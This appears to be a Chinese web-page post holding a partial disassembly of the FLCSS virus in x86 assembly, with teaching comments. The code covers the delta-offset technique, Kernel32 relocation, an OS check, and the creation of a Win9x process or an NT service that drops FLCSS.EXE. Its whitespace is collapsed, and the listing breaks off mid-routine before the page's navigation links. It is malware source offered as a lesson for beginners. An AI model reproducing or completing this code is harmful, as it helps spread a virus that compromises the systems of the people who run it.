;********************************************************************************************* ;Flcss.asm ; ;disasm by Code Demon ; ;Code Demon Virus Dreaming Factory ; ;*********************************************************************************************
.586
ASSUMECS:CODE,DS:CODE
CODESEGMENTUSE32
VSizeequoffsetVEnd - VStart
Phys_VSize equ1000
main: ;********************************************************************************************* ; 开始代码 ;********************************************************************************************* VStart:
callGetDelta;此子程序用于取得病毒在内存中的开始地址,是绝大 ;多数病毒都要用到的经典技术只一,对于写一些加密 ;的软件有很大的帮助,莱鸟必看 leaesi,[offset HostCode + ebx] movedi,[esp] subedi,08 mov[esp],edi movsd movsd
pushdword ptr [esp + 04] callRelocKernel32;重定位Kernel32
oreax,eax jzshort Exit
cmpbyte ptr [offset OS + ebx],00;判断操作系统的类型 jnzshort NT_Srv
callCreate9xProcess;建立WIN9X进程 ret
NT_Srv:callCreateNTService;建立NT服务 Exit:ret ;********************************************************************************************* ;建立NT服务的子程序 ;********************************************************************************************* CreateNTService:
callRelocAdvapi32
oreax,eax jzshort CNT_Failed
push02 push00 push00; 取服务管理器的句柄 callOpenSCManagerA
oreax,eax jzshort CNT_Failed
movSCM_Handle,eax
callCreateExecutable;建立FLCSS.EXE,
oreax,eax; 已经驻留内存就退出. jzshort CNT_Exit
movedi,0F01FF leaesi,offset [Service + ebx] pushedi pushesi pushSCM_Handle callOpenServiceA
oreax,eax jnzshort CNT_Run
xoreax,eax pusheax pusheax pusheax pusheax pusheax
上一篇:再谈进程与端口的映射
下一篇:也谈突破网吧权限之超实用文章
|